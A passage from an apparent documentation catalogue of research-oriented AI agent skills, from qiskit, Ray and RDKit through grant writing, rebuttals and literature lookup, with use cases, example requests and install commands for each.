* *"We're building an internal literature QA system for our lab. Each chunk needs both a dense embedding and a BM25-style sparse representation, and we want to combine them with metadata filters like publication year. Data must stay on our own servers and be able to scale to tens of millions of chunks. Which vector store and architecture would you use, and how do I implement it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill qdrant-vector-search # GitHub CLI gh skill install KalarisLabs/research-agent-skills qdrant-vector-search ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `knowledge-and-rag` category with `/plugin install knowledge-and-rag@research-agent-skills`. ## Related * [`chroma`](/research-agent-skills/skills/chroma) * [`faiss`](/research-agent-skills/skills/faiss) * [`lamindb`](/research-agent-skills/skills/lamindb) * [`matchms`](/research-agent-skills/skills/matchms) * [`paper-corpus-rag`](/research-agent-skills/skills/paper-corpus-rag) * [`pinecone`](/research-agent-skills/skills/pinecone) * [`sentence-transformers`](/research-agent-skills/skills/sentence-transformers) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/qdrant-vector-search/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # qiskit — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/qiskit Build, simulate, transpile, and execute quantum circuits with Qiskit and IBM Quantum Runtime. # `qiskit` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** Apache-2.0 · **Version:** 2.1 · **Includes scripts** **Tags:** quantum computing, quantum circuits, IBM Quantum, physics ## When to use it Build, simulate, transpile, and execute quantum circuits with Qiskit and IBM Quantum Runtime. Use for Qiskit 2.x circuits and operators, V2 Sampler or Estimator primitives, target-aware transpilation, local or noisy simulation, IBM QPU execution, Runtime sessions or batches, error mitigation, and Qiskit ecosystem packages. ## Example requests Ask your agent in plain language, for example: * *"How do I run a Bell state circuit locally in Qiskit and get the counts?"* * *"I'm getting 'The instruction cx is not supported by the target' when I submit my VQE ansatz ansatz.py to ibm\_brisbane through EstimatorV2 with a SparsePauliOp H2 Hamiltonian. The job fails right away. What am I doing wrong and how do I fix it?"* * *"I have a parameterized circuit for a variational energy minimization and want to run the optimization loop on real IBM quantum hardware without wasting queue time between iterations or re-compiling every step. What's the right way to structure the runs, and how can I reduce the effect of hardware noise on the energies?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill qiskit # GitHub CLI gh skill install KalarisLabs/research-agent-skills qiskit ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [`pi-agent`](/research-agent-skills/skills/pi-agent) * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/qiskit/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # quantizing-models-bitsandbytes — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/quantizing-models-bitsandbytes Quantizes LLMs to 8-bit or 4-bit for 50-75% memory reduction with minimal accuracy loss. # `quantizing-models-bitsandbytes` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Optimization, Bitsandbytes, Quantization, 8-Bit, 4-Bit, Memory Optimization, QLoRA, NF4, INT8, HuggingFace, Efficient Inference ## When to use it Quantizes LLMs to 8-bit or 4-bit for 50-75% memory reduction with minimal accuracy loss. Use when GPU memory is limited, need to fit larger models, or want faster inference. Supports INT8, NF4, FP4 formats, QLoRA training, and 8-bit optimizers. Works with HuggingFace Transformers. ## Example requests Ask your agent in plain language, for example: * *"how do i load llama 2 13b in 4-bit on my 12GB 3060?"* * *"I'm fine-tuning Mistral-7B on my instruction dataset `train.jsonl` with a single 24GB RTX 4090. Full-precision LoRA hits `torch.cuda.OutOfMemoryError` at step 0 with batch size 8. Can you set it up so it fits? I'd like to use the HF Trainer and keep the loss comparable to what I got on the A100."* * *"My lab only has a couple of older 16GB GPUs, and I need to run a 7B language model for inference and also cut the optimizer state memory while training a small adapter. What's the least invasive way to shrink memory without changing my HuggingFace code much?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill quantizing-models-bitsandbytes # GitHub CLI gh skill install KalarisLabs/research-agent-skills quantizing-models-bitsandbytes ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`awq-quantization`](/research-agent-skills/skills/awq-quantization) * [`blip-2-vision-language`](/research-agent-skills/skills/blip-2-vision-language) * [`gptq`](/research-agent-skills/skills/gptq) * [`hqq-quantization`](/research-agent-skills/skills/hqq-quantization) * [`model-pruning`](/research-agent-skills/skills/model-pruning) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/quantizing-models-bitsandbytes/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # qutip — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/qutip Simulate and audit closed and open quantum-system models with QuTiP 5, including deterministic, trajectory, steady-state, spectral, and phase-space workflows. # `qutip` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** quantum dynamics, open quantum systems, quantum simulation, physics ## When to use it Simulate and audit closed and open quantum-system models with QuTiP 5, including deterministic, trajectory, steady-state, spectral, and phase-space workflows. Use for local quantum-dynamics work where physical assumptions, dimensions, and numerical convergence must be explicit. ## Example requests Ask your agent in plain language, for example: * *"How do I get a damped driven qubit's Rabi oscillations in QuTiP with T1 and T2 decay?"* * *"I'm modeling a transmon coupled to a readout cavity in qutip 5.3 for my paper. H = tensor(a.dag()*a, qeye(2)) + ... and I call mesolve(H, psi0, tlist, \[kappa*a], \[n]) but the photon number comes out wrong and ptrace(\[1]) gives me a 2x2 state when I wanted the cavity. How do I fix this and show the Fock cutoff is adequate?"* * *"I have a driven, lossy resonator and I want the emission spectrum of its steady state, and I want to be sure the numbers aren't an artifact of how I discretized the time window. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill qutip # GitHub CLI gh skill install KalarisLabs/research-agent-skills qutip ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/qutip/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ray-data — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/ray-data Scalable data processing for ML workloads. Streaming execution across CPU/GPU, supports Parquet/CSV/JSON/images. # `ray-data` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Data Processing, Ray Data, Distributed Computing, ML Pipelines, Batch Inference, ETL, Scalable, Ray, PyTorch, TensorFlow ## When to use it Scalable data processing for ML workloads. Streaming execution across CPU/GPU, supports Parquet/CSV/JSON/images. Integrates with Ray Train, PyTorch, TensorFlow. Scales from single machine to 100s of nodes. Use for batch inference, data preprocessing, multi-modal data loading, or distributed ETL pipelines. ## Example requests Ask your agent in plain language, for example: * *"How do I read a folder of parquet files with Ray Data and apply a map\_batches transform?"* * *"I have about 2 TB of JPEGs in s3://lab-microscopy/plates/ and a ResNet-50 checkpoint. I need to run inference on all of them across 8 GPU nodes, but my current PyTorch DataLoader script runs out of memory and the GPUs sit idle. Write the pipeline and save predictions as parquet."* * *"My preprocessing of a huge pile of sequencing-derived tables and microscopy images takes days on one workstation and won't fit in RAM. I'd like to stream it through tokenization and normalization steps over a cluster and feed the result straight into training. What's a good way to do this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ray-data # GitHub CLI gh skill install KalarisLabs/research-agent-skills ray-data ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`dask`](/research-agent-skills/skills/dask) * [`nanogpt`](/research-agent-skills/skills/nanogpt) * [`pathml`](/research-agent-skills/skills/pathml) * [`polars`](/research-agent-skills/skills/polars) * [`ray-train`](/research-agent-skills/skills/ray-train) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ray-data/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ray-train — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/ray-train Distributed training orchestration across clusters. Scales PyTorch/TensorFlow/HuggingFace from laptop to 1000s of nodes. # `ray-train` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Ray Train, Distributed Training, Orchestration, Ray, Hyperparameter Tuning, Fault Tolerance, Elastic Scaling, Multi-Node, PyTorch, TensorFlow ## When to use it Distributed training orchestration across clusters. Scales PyTorch/TensorFlow/HuggingFace from laptop to 1000s of nodes. Built-in hyperparameter tuning with Ray Tune, fault tolerance, elastic scaling. Use when training massive models across multiple machines or running distributed hyperparameter sweeps. ## Example requests Ask your agent in plain language, for example: * *"How do I run my PyTorch training across 4 machines with 8 GPUs each?"* * *"My train.py fine-tunes a Llama-style model with HF Trainer on a single A100 and I now have a 6-node Ray cluster. Running ray status shows only the head node, and workers fail with 'Unable to connect to GCS at 10.0.0.5:6379'. How do I get this training across the whole cluster with checkpointing so it survives a node dying?"* * *"I need to find the best learning rate, weight decay and batch size for my ResNet on our shared cluster. I'd like to try a couple hundred configs in parallel and stop the bad ones early. What's the approach?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ray-train # GitHub CLI gh skill install KalarisLabs/research-agent-skills ray-train ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`dask`](/research-agent-skills/skills/dask) * [`pytorch-lightning-distributed`](/research-agent-skills/skills/pytorch-lightning-distributed) * [`ray-data`](/research-agent-skills/skills/ray-data) * [`weights-and-biases`](/research-agent-skills/skills/weights-and-biases) * [`skypilot-multi-cloud-orchestration`](/research-agent-skills/skills/skypilot-multi-cloud-orchestration) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ray-train/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # rdkit — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/rdkit Guides use of RDKit (Python) for reading and writing SMILES, MOL/SDF, and InChI, computing descriptors (MW, LogP, TPSA), generating Morgan/MACCS/atom-pair… # `rdkit` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** BSD-3-Clause license · **Version:** 1.3 · **Includes scripts** **Tags:** cheminformatics, RDKit, SMILES, molecular descriptors, fingerprints, drug discovery ## When to use it Guides use of RDKit (Python) for reading and writing SMILES, MOL/SDF, and InChI, computing descriptors (MW, LogP, TPSA), generating Morgan/MACCS/atom-pair fingerprints, running SMARTS substructure searches, applying reaction SMARTS, and building 2D/3D coordinates with ETKDG. Use when parsing or sanitizing molecules that fail default sanitization, calculating Tanimoto similarity or clustering compounds, filtering libraries by substructure, embedding and optimizing conformers, or computing Murcko scaffolds and molecule hashes. Use when fine-grained control over sanitization or algorithms is needed. For simpler standard workflows, use datamol instead, which wraps RDKit. ## Example requests Ask your agent in plain language, for example: * *"Chem.MolFromSmiles keeps returning None for my nitro-containing SMILES. How do I find out what's wrong and still load the molecule?"* * *"I have compounds.sdf with about 40k molecules from a vendor. I need to keep only those containing a carboxylic acid but no primary amine, then write the hits to a new SDF with their MW, cLogP and TPSA as properties. Some records fail to parse. Can you write the script?"* * *"I've got a list of \~2,000 screening hits and want to group them into structural clusters, then pick one representative from each cluster. The distance cutoff matters to me and I want to control how the fingerprints are built."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill rdkit # GitHub CLI gh skill install KalarisLabs/research-agent-skills rdkit ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/rdkit/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # rebuttal-and-response-to-reviewers — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/rebuttal-and-response-to-reviewers Plan and write responses to peer review, including journal "response to reviewers" letters for revise-and-resubmit, conference rebuttals under strict length… # `rebuttal-and-response-to-reviewers` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.0 **Tags:** peer review, rebuttal, response to reviewers, revise and resubmit, OpenReview, author response ## When to use it Plan and write responses to peer review, including journal "response to reviewers" letters for revise-and-resubmit, conference rebuttals under strict length limits (OpenReview/ICLR, NeurIPS, ICML, ACL ARR, CVPR), author responses to meta-reviews, and appeals. Use when a user receives reviews, must triage reviewer comments, draft point-by-point replies, decide what new experiments to run, disagree respectfully with a reviewer, or track manuscript changes for a revision. For authors answering reviews of their own manuscript; to write a review of someone else's paper, use peer-review instead. ## Example requests Ask your agent in plain language, for example: * *"We got major revisions with 3 reviewers. Help me write the response letter."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill rebuttal-and-response-to-reviewers # GitHub CLI gh skill install KalarisLabs/research-agent-skills rebuttal-and-response-to-reviewers ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`acm-sigconf`](/research-agent-skills/skills/acm-sigconf) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`elsevier-cas`](/research-agent-skills/skills/elsevier-cas) * [`ieee-transactions`](/research-agent-skills/skills/ieee-transactions) * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`nature-portfolio`](/research-agent-skills/skills/nature-portfolio) * [`peer-review`](/research-agent-skills/skills/peer-review) * [`scientific-critical-thinking`](/research-agent-skills/skills/scientific-critical-thinking) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/rebuttal-and-response-to-reviewers/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # reference-manager-interop — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/reference-manager-interop Move and sync reference libraries between Zotero, Mendeley, EndNote, JabRef, Paperpile and writing tools (LaTeX/BibTeX, Word, Google Docs, Pandoc, Quarto… # `reference-manager-interop` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** Zotero, Mendeley, EndNote, JabRef, BibTeX, RIS, CSL-JSON, Pandoc, Quarto, Overleaf, reference manager ## When to use it Move and sync reference libraries between Zotero, Mendeley, EndNote, JabRef, Paperpile and writing tools (LaTeX/BibTeX, Word, Google Docs, Pandoc, Quarto, Overleaf). Use when converting RIS, BibTeX, BibLaTeX or CSL-JSON files, migrating a library, setting up auto-exported .bib files, choosing a citation style (CSL), or fixing citations lost between tools. Includes a zero-dependency BibTeX/RIS/CSL-JSON converter. ## Example requests Ask your agent in plain language, for example: * *"Convert my Mendeley RIS export to BibTeX for Overleaf."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill reference-manager-interop # GitHub CLI gh skill install KalarisLabs/research-agent-skills reference-manager-interop ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`apa7`](/research-agent-skills/skills/apa7) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`pyzotero`](/research-agent-skills/skills/pyzotero) * [`citation-management`](/research-agent-skills/skills/citation-management) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`research-knowledge-graph`](/research-agent-skills/skills/research-knowledge-graph) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/reference-manager-interop/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # relsa-severity-assessment — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/relsa-severity-assessment Multivariate severity assessment and humane endpoint prediction for laboratory animal studies using the RELSA (RELative Severity Assessment) score and… # `relsa-severity-assessment` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** animal welfare, laboratory animals, humane endpoints, severity assessment ## When to use it Multivariate severity assessment and humane endpoint prediction for laboratory animal studies using the RELSA (RELative Severity Assessment) score and ARIMA-based foRcast forecasting. Use when combining welfare readouts — body weight or weight loss, body temperature, clinical or nesting scores, biomarkers, activity, heart rate, burrowing, wheel running — into one severity score per animal per day, when asking which animals are at risk of reaching a humane endpoint or when one will be reached, when defining attention/danger zones or thresholds on a severity scale by kernel density estimation, or when reporting severity for a 3Rs, refinement, animal-welfare, or EU Directive 2010/63/EU severity-assessment context. Covers directionality ("turned" variables), baseline normalization, reference sets, RELSA weights, ARIMA prediction intervals, and RMSE/PICP/MPIW evaluation. ## Example requests Ask your agent in plain language, for example: * *"How do I get one severity number per mouse per day from weight, temp and a clinical score?"* * *"I have telemetry from a mouse endotoxaemia study in telemetry\_hourly.csv (columns id, treatment, hour, temp, hr, activity, weight). Hourly values are in there. I want to score each animal and see which ones are about to hit endpoint. Temperature drops in this model. Where do I start?"* * *"We're writing up a refinement analysis for our ethics committee and want to find data-driven cut-offs that separate the sick animals from the ones that recovered on a combined welfare scale. How should we define and report them?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill relsa-severity-assessment # GitHub CLI gh skill install KalarisLabs/research-agent-skills relsa-severity-assessment ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/relsa-severity-assessment/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # reproducibility-statement — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/reproducibility-statement Prepare the reproducibility, transparency and open-science parts of a paper, including data and code availability statements, reproducibility checklists… # `reproducibility-statement` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.0 **Tags:** reproducibility, data availability, code availability, open science, FAIR, checklist, CRediT, Zenodo, ethics statement ## When to use it Prepare the reproducibility, transparency and open-science parts of a paper, including data and code availability statements, reproducibility checklists (NeurIPS, ICML, ICLR, ACL Responsible NLP, Nature reporting summaries), research artifact packaging (Zenodo DOI, CITATION.cff, environment lockfiles, seeds), ethics/broader-impact statements, CRediT author contributions, competing interests and AI-use disclosures. Use when a venue requires any of these statements or checklists, or when preparing code/data for release alongside a paper. ## Example requests Ask your agent in plain language, for example: * *"Fill in the NeurIPS checklist and write our data and code availability statements."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill reproducibility-statement # GitHub CLI gh skill install KalarisLabs/research-agent-skills reproducibility-statement ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`cell-press`](/research-agent-skills/skills/cell-press) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`elsevier-cas`](/research-agent-skills/skills/elsevier-cas) * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`nature-portfolio`](/research-agent-skills/skills/nature-portfolio) * [`peer-review`](/research-agent-skills/skills/peer-review) * [`plos`](/research-agent-skills/skills/plos) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/reproducibility-statement/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # research-agent-skills — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/research-agent-skills Navigate the Research Agent Skills collection by Kalaris Labs for academia across AI, machine learning, biology, chemistry, medicine, physics, and academic… # `research-agent-skills` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.0 **Tags:** academia, research agents, scientific research, academic writing, skill collection, AI, machine learning, biology, chemistry, medicine, physics ## When to use it Navigate the Research Agent Skills collection by Kalaris Labs for academia across AI, machine learning, biology, chemistry, medicine, physics, and academic writing. Use when a researcher needs to choose a field of study, identify relevant specialist SKILL.md files, or coordinate a cross-disciplinary research workflow. For a narrow task with a matching specialist skill already available, use that skill directly. ## Example requests Ask your agent in plain language, for example: * *"Set up the complete Kalaris Labs research skill collection in this Codex project, then show me how its biology and paper-writing skills are organized."* * *"I work across AI models and clinical literature. Which Research Agent Skills should I install for model evaluation, evidence review, and manuscript writing?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill research-agent-skills # GitHub CLI gh skill install KalarisLabs/research-agent-skills research-agent-skills ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`research-skill-creator`](/research-agent-skills/skills/research-skill-creator) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/research-agent-skills/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # research-grants — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/research-grants Guides writing of competitive research grant proposals for NSF, NIH, DOE, DARPA, and Taiwan NSTC. # `research-grants` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.3 **Tags:** grant writing, NIH, NSF, research proposals, funding ## When to use it Guides writing of competitive research grant proposals for NSF, NIH, DOE, DARPA, and Taiwan NSTC. Covers agency-specific formatting and review criteria, specific aims, project descriptions, significance and innovation narratives, broader impacts, budgets and justifications, timelines, biosketches, and the NSTC CM03 form. Use when drafting a proposal for one of these agencies. Use when writing specific aims or broader impacts statements. Use when preparing a budget justification or milestone plan. Use when responding to a solicitation, BAA, or reviewer comments in a resubmission. Use when checking a draft against page limits and submission requirements. For general manuscript writing, use a scientific writing skill instead. ## Example requests Ask your agent in plain language, for example: * *"Help me write the Specific Aims page for my R01 on gut microbiome modulation of anti-PD1 response."* * *"I'm submitting to NSF CBET and my draft is in proposal\_v3.docx. The Project Description is 17 pages and my Broader Impacts section is just one paragraph about 'training students'. How do I fix this?"* * *"My lab got a summary statement with a score of 38 on our first NIH submission and I need to turn it around for the next cycle. Reviewers said the approach was underpowered and the innovation was incremental. What's my plan?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill research-grants # GitHub CLI gh skill install KalarisLabs/research-agent-skills research-grants ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`systems-paper-writing`](/research-agent-skills/skills/systems-paper-writing) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/research-grants/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # research-knowledge-graph — AI agent skill for knowledge and rag Source: https://docs.kalarislabs.com/research-agent-skills/skills/research-knowledge-graph Turn a bibliography or literature corpus into a knowledge graph of papers, authors, venues, topics and citation links, then analyze it (citation clusters, key… # `research-knowledge-graph` **Category:** [knowledge-and-rag](/research-agent-skills/skills#knowledge-and-rag) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** knowledge graph, citation network, bibliometrics, OpenAlex, Neo4j, Gephi, NetworkX, Obsidian, graphify, science mapping ## When to use it Turn a bibliography or literature corpus into a knowledge graph of papers, authors, venues, topics and citation links, then analyze it (citation clusters, key papers, bridging work, research gaps) or export it to Neo4j, Gephi, NetworkX, Obsidian or Markdown-graph tools such as graphify. Use when mapping a research field, building a citation network, finding influential or bridging papers, or visualizing how a literature connects. Zero-dependency builder with optional OpenAlex enrichment. ## Example requests Ask your agent in plain language, for example: * *"Build a citation network from my Zotero library and find the most influential and bridging papers."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill research-knowledge-graph # GitHub CLI gh skill install KalarisLabs/research-agent-skills research-knowledge-graph ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `knowledge-and-rag` category with `/plugin install knowledge-and-rag@research-agent-skills`. ## Related * [`networkx`](/research-agent-skills/skills/networkx) * [`paper-corpus-rag`](/research-agent-skills/skills/paper-corpus-rag) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`reference-manager-interop`](/research-agent-skills/skills/reference-manager-interop) * [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/research-knowledge-graph/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # research-lookup — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/research-lookup Compile current scholarly evidence for a scientific manuscript or research brief. # `research-lookup` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.5 · **Includes scripts** **Tags:** literature search, scholarly evidence, research briefs, references ## When to use it Compile current scholarly evidence for a scientific manuscript or research brief. Use when the user explicitly asks to gather literature, references, background evidence, competing findings, or a manuscript research packet. Uses Parallel Search by default, Parallel Extract for source verification, Parallel Research for explicitly deep/exhaustive work, optional explicit Parallel Chat, and optional Perplexity only when requested or allowed as a failure fallback. ## Example requests Ask your agent in plain language, for example: * *"Need \~60 solid references on CRISPR base editing off-target effects for my review intro. Can you pull them together?"* * *"I'm drafting a Nature Communications paper on gut microbiome alterations in Parkinson's disease (human cohort, 16S sequencing, n=212 cases vs 198 controls, outcome: alpha diversity and Prevotella abundance). My context is in study\_context.json. Please gather the recent primary studies, meta-analyses, and any null or contradictory findings, and give me a claim-to-source map for the Introduction and Discussion."* * *"I'm writing up a grant-style background on whether intermittent fasting improves insulin sensitivity in adults. I want to know where the evidence agrees, where it conflicts, and what the open gaps are, with real citations I can drop into my bibliography."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill research-lookup # GitHub CLI gh skill install KalarisLabs/research-agent-skills research-lookup ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`exa-search`](/research-agent-skills/skills/exa-search) * [`parallel-web`](/research-agent-skills/skills/parallel-web) * [`citation-management`](/research-agent-skills/skills/citation-management) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/research-lookup/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # research-skill-creator — AI agent skill for research automation Source: 